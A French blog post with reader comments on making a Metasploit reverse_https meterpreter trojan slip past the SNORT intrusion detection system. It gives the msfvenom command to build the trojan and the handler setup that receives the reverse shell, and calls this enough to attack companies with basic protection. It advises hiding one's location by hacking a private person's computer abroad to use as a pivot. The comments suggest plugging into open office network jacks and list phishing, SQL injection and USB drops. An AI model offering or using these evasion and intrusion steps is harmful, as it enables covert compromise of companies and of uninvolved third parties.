Rendre meterpreter invisible par SNORT comme un nul(l)

Bonjour à tous !

Tout d’abord, veuillez m’excuser pour cette brève absence, j’ai eu énormément de travail à mon « vrai » boulot…

Je n’avais pas trop le courage d’allumer mon ordinateur le soir pour jouer au méchant hacker. Mais comme je suis maintenant en vacances pour quelques jours, j’en profite pour vous écrire ce nouvel article.

Comme nous l’avons vu précédemment, SNORT, comme tout système de détection d’intrusions ( IDS ), fonde ses résultats sur l’analyse des données qui transitent sur le réseau.

Le premier réflexe à avoir dans ces cas là est de crypter notre flux réseau. Nous utiliserons dans cet exemple « windows/meterpreter/reverse_https » qui fournit un encryptage des données.

Je vous passe les étapes pour rendre ce cheval de Troie invisible par votre antivirus, pour cela, vous pourrez vous référer aux articles précédents.

Big brother

Ne croyez pas que l’on ne vous observe pas !

Lançons SNORT

Rien de plus simple si vous avez suivi mon précédent article :

service mysql start
service apache2 start
service snortbarn start

BASE est maintenant accessible à l’adresse suivante : http://localhost/base

N’oubliez pas de vider votre base de données avant vos tests pour y voir plus clair !

Préparons notre cheval de Troie comme un nul(l)

Vous devez maintenant être rompu à la tâche. Lancez un nouveau Backtrack (je vous rappelle que SNORT ne détecte pas le trafic provenant de sa propre adresse IP) puis exécutez la commande suivante :

sudo msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=192.168.56.102 LPORT=443 X > metssl.exe

Notez ici l’utilisation de reverse_https.

LHOST et LPORT sont l’adresse IP et le port de l’ordinateur attaquant.

Test avec SNORT

Préparons Metasploit pour attendre la connexion de notre cheval de Troie :

# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.56.102
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit

Puis exécutons metssl.exe sur l’ordinateur cible.

SNORT ne détecte plus de cheval de Troie à proprement parler, mais un comportement SSL étrange :

ssp_ssl: Invalid Client HELLO after Server HELLO Detected
Après moultes tentatives, BASE détecte ENFIN quelque chose...

Après maintes tentatives, BASE détecte ENFIN quelque chose…

Ce type de message n’attirera certainement pas l’attention d’un administrateur réseau sur le coup, mais en cas d’enquête suite à une fuite de données, il pourra être utilisé.

Néanmoins, il m’a fallu une vingtaine de tentatives pour que SNORT détecte quelque chose. Je pense qu’il s’agit ici d’un faux positif durant l’établissement d’une connexion SSL (perte de connexion de l’attaquant ou de la cible, nécessitant le renvoi du message HELLO)

Conclusion

L’utilisation du cheval de Troie « reverse_https », fourni dans Metasploit, apporte une solution suffisante pour passer à travers SNORT.

En effet, Meterpreter établit une connexion SSL standard à la machine attaquante. L’intégralité du trafic est alors crypté, donc indétectable par SNORT ou tout autre IDS du même type.

Cette solution semble acceptable pour s’attaquer à une entreprise disposant de moyens de protections basiques. Toutefois, ne vous amusez pas à attaquer la CIA ou la NASA avec ça : les Etats disposent certainement de moyens capables de décrypter ce type de trafic à la volée en cas de suspicion.

Aller plus loin

Il faut savoir que lors de l’établissement d’une connexion SSL, un certain nombre de données passent en clair sur le réseau (certificats, adresses IP, etc.). N’oubliez pas de modifier les certificats par défaut fournis par Metasploit afin de renseigner des valeurs « passe-partout ».

Dans la mesure du possible, n’utilisez pas une adresse IP qui permettrait de vous localiser. Vous pouvez par exemple pirater l’ordinateur d’un particulier au Brésil pour vous servir de son ordinateur comme pivot pour vous attaquer à une entreprise française disposant d’un IDS. Plus vous avez de pivots, plus il sera difficile de remonter jusqu’à vous. Le logiciel Armitage pourra vous aider dans cette tâche grâce à une interface graphique séduisante.

Voici un article en anglais présentant quelques pistes pour détecter le cheval de Troie « reverse_https » : http://www.netresec.com/?page=Blog&month=2011-07&post=How-to-detect-reverse_https-backdoors

Publicités
À propos

Un informaticien, qui tente de faire comprendre au public que l'informatique n'est pas si compliquée, malgré des acronymes et autres termes obscurs pour faire croire que c'est difficile (et que c'est de votre faute si "ça ne marche pas")

Tagged with: , , , , , , ,
Publié dans Informatique, Intrusion, Metasploit, Piratage
4 comments on “Rendre meterpreter invisible par SNORT comme un nul(l)
  1. zorn dit :

    salut, post intéressant comme d’habitude.
    certains IDS mettent en place un proxy HTTPS, qui remplace le certificat serveur d’origine par un certificat auto-signé. Ce qui permet à l’IDS de décrypter tout le trafic. je suppose que le mutli/handler utilise lui aussi un certificat auto-signé, ce qui fait que le client (reverse_https) acceptera un autre certificat.

    • mystcaster dit :

      Bien vu ! (j’avais complètement oublié ce point)

      Dans un de mes prochains articles, je ferai donc passer « reverse_tcp » à travers SNORT, comme ça, encrypté ou décrypté, ça passera à travers l’IDS 🙂
      Note qu’avec la solution « reverse_https », proxy https ou pas tu ne sera presque jamais remarqué si tu attaque d’un poste interne à l’entreprise, car le proxy est bien souvent configuré uniquement pour entrer et sortir du réseau interne.
      => Bien utile lorsqu’une prise réseau traîne dans une salle de réunion en libre service.

  2. ORO dit :

    Bonjour et encore merci pour cette etincelle que vous apportez a notre intelect,je vous dit bravo.Mais j aimerais savoir comment faire pour pirater a travers internet,en somme pirater sur un reseaux externe .Merci de me repondre

    • mystcaster dit :

      Un piratage se passe en différentes étapes.
      Un pirate va toujours arriver à accéder au réseau local (au sens large : amener un utilisateur du réseau à faire une action voulue peut être considéré comme un accès au réseau).

      S’il n’y parvient pas, il ne pourra pas aller plus loin.
      Pour ce faire, un pirate devra utiliser tous les moyens à sa disposition :

      • Inhection SQL
      • Cross Site Scripting (XSS)
      • Cross Site Request forgery (CSRF)
      • Phishing
      • etc.

      Note que le moyen le plus simple à mettre en oeuvre est généralement l’ingénierie sociale (phishing, téléphone, etc.) ou l’intrusion physique (placer une clef USB sur un ordinateur du réseau ciblé).

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

MystCaster
décembre 2012
L M M J V S D
« Nov   Jan »
 12
3456789
10111213141516
17181920212223
24252627282930
31  
Catégories
Archives
%d blogueurs aiment cette page :